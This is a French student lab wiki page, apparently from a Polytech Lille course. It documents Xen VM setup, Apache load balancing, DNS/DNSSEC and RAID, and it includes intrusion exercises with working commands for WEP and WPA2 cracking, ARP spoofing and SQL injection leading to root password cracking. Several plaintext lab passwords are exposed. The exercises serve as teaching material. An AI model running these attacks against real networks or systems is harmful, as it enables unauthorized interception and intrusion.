         ProxyPassReverse / http://192.168.42.5:8085                                                                                                                                                                          &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.&lt;br /&gt;
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName reverse.amanite.site&lt;br /&gt;
         ServerAdmin lolopierro&lt;br /&gt;
         &amp;lt;Proxy &amp;quot;balancer://mycluster&amp;quot;&amp;gt;&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.5:8085&amp;quot; route=1&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.2:8085&amp;quot; route=2&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.4:8085&amp;quot; route=3&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.7:8085&amp;quot; route=4&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.9:8085&amp;quot; route=5&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.12:8085&amp;quot; route=6&lt;br /&gt;
                 ProxySet lbmethod=byrequests&lt;br /&gt;
         &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
         ProxyPass / balancer://mycluster/&lt;br /&gt;
         ProxyPassReverse / balancer://mycluster/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seul notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant on été actualisé. Cela nous permet de bien vérifier notre loadbalancing.&lt;br /&gt;
&lt;br /&gt;
Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :&lt;br /&gt;
&lt;br /&gt;
 a2enmod status&lt;br /&gt;
&lt;br /&gt;
Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Location &amp;quot;/server-status&amp;quot;&amp;gt;&lt;br /&gt;
          SetHanlder server-status&lt;br /&gt;
          Order Allow,Deny&lt;br /&gt;
          Allow from all&lt;br /&gt;
 &amp;lt;/Location&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55088</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55088"/>
				<updated>2020-12-20T15:09:45Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Architecture de la ferme */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous nous sommes connectés en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net nous lions ns1.amanite.site à 193.48.57.184 grâce à l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arrêter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utilisé hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparente. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc nous utilisons la condition vraie sur les deux champs. De ce fait la base de données sera « perdue » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous indiquant qu'il est impossible de se connecter à tout ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
